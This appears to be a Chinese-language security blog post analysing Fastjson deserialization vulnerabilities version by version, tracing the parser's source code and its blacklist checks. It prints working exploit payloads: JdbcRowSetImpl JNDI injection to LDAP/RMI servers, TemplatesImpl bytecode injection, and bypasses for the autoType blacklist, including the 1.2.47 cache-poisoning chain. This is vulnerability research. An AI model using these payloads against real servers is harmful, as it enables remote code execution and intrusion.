Fastjson
可以将javabean对象转换为json格式或解析json转为javabean
一些基本用法:
String json = JSON.toJSONString(object)
可以将object对象转换为json字符串,通过自动调用getter方法取field
Object object = JSON.parse(json)
可以讲json字符串转换为对象,自动调用setter方法赋值对象
Obejct object = JSON.parseObject(json)
功能与上面parse一样,转换json -> object
fastjson反序列化漏洞产生根源:object <-> json之间转换时自动执行getter、setter、is方法
1.2.24
我们都知道漏洞成因是parse调用了分析一下(不流水账只看重点部分
继续跟进到DefaultJSONParser#parseObject方法如下位置,可以发现通过json字符串中@type参数调用TypeUtils.loadClass实例话class,这也是payload中需要设置@type参数
调用链如下
针对setter方法,parse的调用链如下,然后就是invoke执行的链就不看了,就看重点部分
在FieldDeserializer#setValue方法中发现方法已经被取出并赋值
最后通过一些简单的判断后直接invoke执行,这里就是反射触发setter方法的位置
然后分析一下如何处理取出getter和setter的
跟进到JavaBeanInfo#build方法中,首先是setter,这部分是对传入类的所有方法进行筛选出set的处理,从头看下来需要依次满足如下条件:
- 方法名大于3
- 非静态方法
- 返回值为空或类自身类型
- 参数个数为1
- 方法名第四位大写
然后是下面这部分,方法名第四位如果不是大写,也会判断是否是_
或f
,也接受方法名长度大于5并且
然后是getter的获取,满足条件如下
- 方法名大于3
- 非静态方法
- 参数个数为1
- 方法名第四位大写
- 返回值必须继承实现自如下类
这条路线的顺序是先找到满足条件的setter然后才是getter,所以一个属性如果同时拥有getter和setter,那么只会取到setter
最后将满足条件getter,setter对应的field存入fieldList中
那么parseObject(json)为什么会同时触发getter和setter呢,原因如下,调用了parse处理后最后通过toJSON处理返回,这步中会调用getter方法
JdbcRowSetImpl
配合JdbcRowSetImpl jndi攻击触发起点就是这边
我们看一下payload,很明显的一个jndi注入
1
2
3
4
5
|
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://ip:port/evilFile",
"autoCommit": true
}
|
简单搜索定位到JdbcRowSetImpl#connect方法,简单看一下,conn默认为null,无参数构造方法创建的JdbcRowSetImpl实例conn默认为null,并且payload中设置了dataSourceName属性值,所以一定会进入进入try语句,然后调用lookup触发传入的dataSourceName成功触发ldap型jndi注入
然后就是找一个setter可以触发connect方法,定位到setAutoCommit,这也是给autoCommit参数的原因
这样就通了,但要注意jdk版本导致的jndi注入限制
TemplatesImpl
这个类在分析CC链的时候就分析过,最终命令执行触发位置也是defineClass,分析过程见CC链的分析
在CC3中TemplatesImpl利用基础上,调用getOutputProperties来触发newTransformer(对应_outputProperties参数),后续利用就和一样了
直接写payload(这边需要注意json传递byte[]类型要转成base64,并且_outputProperties放最后来配置参数后最后触发,Feature.SupportNonPublicField参数用于配置允许访问私有属性
1
2
3
4
5
6
7
|
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes/exp", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
String exp64 = Base64.getEncoder().encodeToString(bytes);
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_name\": \"1\", \"_tfactory\": { }, \"_bytecodes\": [\"" + exp64 + "\"], \"_outputProperties\": { }}";
System.out.println(payload);
JSON.parse(payload, Feature.SupportNonPublicField);
|
1.2.25 - 1.2.41
上到1.2.41后,我们使用TemplatesImpl trigger测试一下,报错如下
跟进到checkAutoType位置看一下,通过一个黑名单来限制可以转换的类
在checkAutoType方法中又注意到如下部分,除了黑名单还有白名单过滤
黑白名单如下,白名单默认为空
1
2
|
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;
|
看一下这个方法,首先检查是否autoTypeSupport,然后首先进行白名单检查,如果在白名单里直接调用loadClass
往下,如果上一步没有获取class,就尝试从map中通过@type属性去取,失败就尝试从deserializers中获取
向下,autoTypeSupport为false的情况,首先进行黑名单判断,然后再通过白名单loadClass
以上都通过了校验但是还没获取到class,就直接调用loadClass通过@type获取class,后面就是一些处理
然后最后会检查autoTypeSupport,必须为true不然直接抛出错误
因为白名单不设置默认为空,我们要绕过黑名单,单看checkAutoType方法是没什么头绪的,跟进loadClass看一下,这边有两个判断,如果[
开头会被当作数组,但处理后出来会报错
可以利用第二个判断对@type封装进行绕过,对于TemplatesImpl的trigger,修改后如下
1
2
3
4
5
6
7
|
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes/exp", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
String exp64 = Base64.getEncoder().encodeToString(bytes);
String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\", \"_name\": \"1\", \"_tfactory\": { }, \"_bytecodes\": [\"" + exp64 + "\"], \"_outputProperties\": { }}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(payload, Feature.SupportNonPublicField);
|
第一个if如果仅仅使用[
可以绕过,但会产生json解析失败的报错,报错如下,也就是说payload在71位置的,
应该为[
按照报错对其进行修改后得到能够使用并且绕过的payload如下,在逗号前添加了[{
1
|
String payload = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{, \"_name\": \"1\", \"_tfactory\": { }, \"_bytecodes\": [\"" + exp64 + "\"], \"_outputProperties\": { }}";
|
1.2.42
fastjson上到1.2.42后上述绕过中L;
绕过方式不再适用,跟进报错位置看一下
发现黑名单变为hash形式
然后就是这边,去除了前后的L;
去除了一次所以直接双写绕过
(除了双写绕过之外,仍然可以使用[
的判断绕过
1.2.43
双L的payload被做了判定
仍然没有对[
做限制,仍然可以使用其进行绕过
1.2.44
修复了[
,位置如下,添加了对于[
开头类名的过滤
1.2.45
使用ibatis-core库中的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory绕过黑名单
1
|
String payload3 = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\", \"properties\": {\"data_source\": \"ldap://127.0.0.1:1389/test\"}}";
|
1.2.47
这个版本诞生了一个通杀黑名单和autotype的payload,先不看payload,自己尝试挖一下
先简单回顾一下checkAutoType方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
|
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 判断@type是否为空
if (typeName == null) {
return null;
}
// @type长度检索
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
// 将@type中$更换为.
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 检查@type是否是[开头
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 检查@type是否是L开头;结尾
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// autoTypeSupport参数为true时,利用黑白名单进行检查,在白名单内直接调用loadClass加载,不在则触发黑名单检查,在黑名单中直接抛错,这边不定义参数autoTypeSupport并且不传入expectClass自动向下进行不会被黑名单检索
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 调用getClassFromMapping来获取类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 调用findClass来获取类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果通过上面两种方式之一获取到了类,检查获取到的类类型是不是传入的expectClass,不传入不会检查,然后直接返回
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 如果上面的方法还是没获取到类,首先检查autoTypeSupport参数,false则进入检查,首先校验黑名单,通过后进行白名单校验,符合仍然直接调用loadClass
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// autoTypeSupport参数为true并且通过了上面的所有绕过检查,则直接调用loadClass加载,这也是前几个版本绕过后最终触发的位置
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
// 后面这些就没什么关系了
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
|
由于所有的针对loadClass中的缺陷的绕过都被封锁,所以重心就集中在如下这两个获取class的位置
1
2
3
4
5
6
7
|
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
|
先看第一个,跟进后如下,从mappings中根据类名取class,很容易就想到如果可以向mappings中预先插入被调用的类
让后看一下类中mappings是如何构造的定位到addBaseClassMappings方法,这边就不放源码了,将一些常见类常见库以及基本类型类添加到mappings中,而这个方法也是在这个类加载时通过static块进行调用
然后就是mappings的put操作,定位到了loadClass函数,很熟悉,就是1.2.25 - 1.2.41小节分析的那么loadClass方法,不具体分析了,调用位置如下,首先尝试利用传入的classLoader加载,在cache为true时触发put方法,然后尝试调用当前进程的ClassLoader来尝试对类名调用加载,同样cache为true将调用put方法,嘴周尝试调用根Class.forName取class,然后直接触发put操作
一个简单的想法,能否在解析json时触发该方法将我们需要的类添加到mappings中。对这个方法进行简单搜索,定位到如下位置
进入看一下,这个方法简单来说就是传入class和strVal,根据class的类型调用不同的方式来加载strVal。当传入的class为Class.class时,会触发loadClass来加载strVal参数
看一下这个strVal哪来的,strVal就是objVal,而objVal构造如下,如果parser.resolveStatus为2,进入if,首先将resolveStatus置0,并且利用accept方法确认当前lexer.token是否为,
,是就调用nextToken取后面的字符;继续向下,if中判断上面accept后的token是否为LITERAL_STRING类型,满足条件则继续判断其值是否为val,满足则调用nextToken锁定到val的"
后,然后调用accept检测当前位置是否是:
,objVal得到的是利用parser.parse()解析的val:
后的值,最后调用parser.accept()检查解析后的token位置为}
。
所以触发上面提到的loadClass,就需要满足传入的clazz为java.lang.Class,传入resolveStatus为2,并且在一个{}
包裹中,仅有一个属性为val,令其值为我们的恶意类这样就可以插入mappings中
然后就是对MiscCodec#deserialze进行搜索,找一下有没有strVal、clazz可控的位置并且还能在我们解析触发链上
之前分析调用过程知道我们调用JSON去处理json字符串,最终都会创建一个DefaultJSONParser去跟进一步处理,所以目光集中在这个DefaultJSONParser上,以parse方法为例,调用后会根据解析字符串得到初步的类型,然后在parse方法中通过其token(类型)来更进一步调用对应的方法进行处理
search内容一个一个看,首先是parseObject(Map, Object),首先这个方法在传入一个{
开头的json字符串时会触发调用到这个方法中,同时,触发需要满足两个条件:key(取到的第一个减值,分析上面代码就知道了)为@type并且没有禁用特殊key检测
这个if位置向下看会发现如下位置,很熟悉,这就是@type后触发检查类名的位置
对类名进行检查后会去检查类名后,如果}
,就判断这个实例结束了,去尝试调用newInstance实例化@type
没有结束就继续向下,这边有个很关键的地方就是将resolveStatus设置为2,最后就是根据@type获取其解析器,将this,clazz传入deserialze
其实已经串起来了,上面其实就是@type解析位置,传入@type为java.lang.Class,并且设置一个属性值为恶意类名,就可以通过上面的链对恶意类名调用loadClass并且存入mappings中
写个demo验证一下
1
2
|
String testStr = "{\"@type\": \"java.lang.Class\", \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}";
JSON.parse(testStr);
|
成功触发
然后就是利用对象嵌套来依次触发,首先利用上面分析的路径将恶意类插入mappings中,然后再向下解析json时由于autoTypeSupport为false会进入TypeUtils.getClassFromMapping(typeName)
在mappings中检索类名,成功拿到直接返回,绕过了前后黑名单检测并且根本不要求autoTypeSupport为true
最终payload
1
2
3
4
5
6
7
|
// TemplatesImpl
String templatesImpl = "{\"obj1\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}, \"obj2\": {\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_name\": \"1\", \"_tfactory\": { }, \"_bytecodes\": [\"" + exp64 + "\"], \"_outputProperties\": { }}}";
JSON.parse(templatesimpl, Feature.SupportNonPublicField);
// JdbcRowSetImpl
String jdbcRowSetImpl = "{\"obj1\": {\"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\"}, \"obj2\": {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:1389/test\", \"autoCommit\": true}}";
JSON.parse(jdbcRowSetImpl);
|
TODO: BCEL利用链
1.2.48
上面的payload不再适用,看一下原因,很简单,cache默认为false了,不会触发自动存入mappings
1.2.48 - 1.2.67
期间被挖出了一些黑名单绕过
(只给json了,注意autoTypeSupport
1
2
3
4
5
|
{"@type": "org.apache.xbean.propertyeditor.JndiConverter", "AsText": "ldap://127.0.0.1:1389/test"}
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"dap://127.0.0.1:1389/test"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"dap://127.0.0.1:1389/test"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"dap://127.0.0.1:1389/test"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"dap://127.0.0.1:1389/test"}}
|
1.2.68
这个版本直接添加了一个safeMode参数,开启直接报错
但同时也增加了如下部分,这里有一个trick,在不开启safeMode的情况下,传入的expectClass如果属于如下类,则设置expectClassFlag为true
后续可以调用loadClass直接调用
TODO: 分析具体流程
参考
https://y4er.com/posts/fastjson-learn/
https://tttang.com/archive/1579
https://xz.aliyun.com/t/7027
https://www.freebuf.com/vuls/208339.html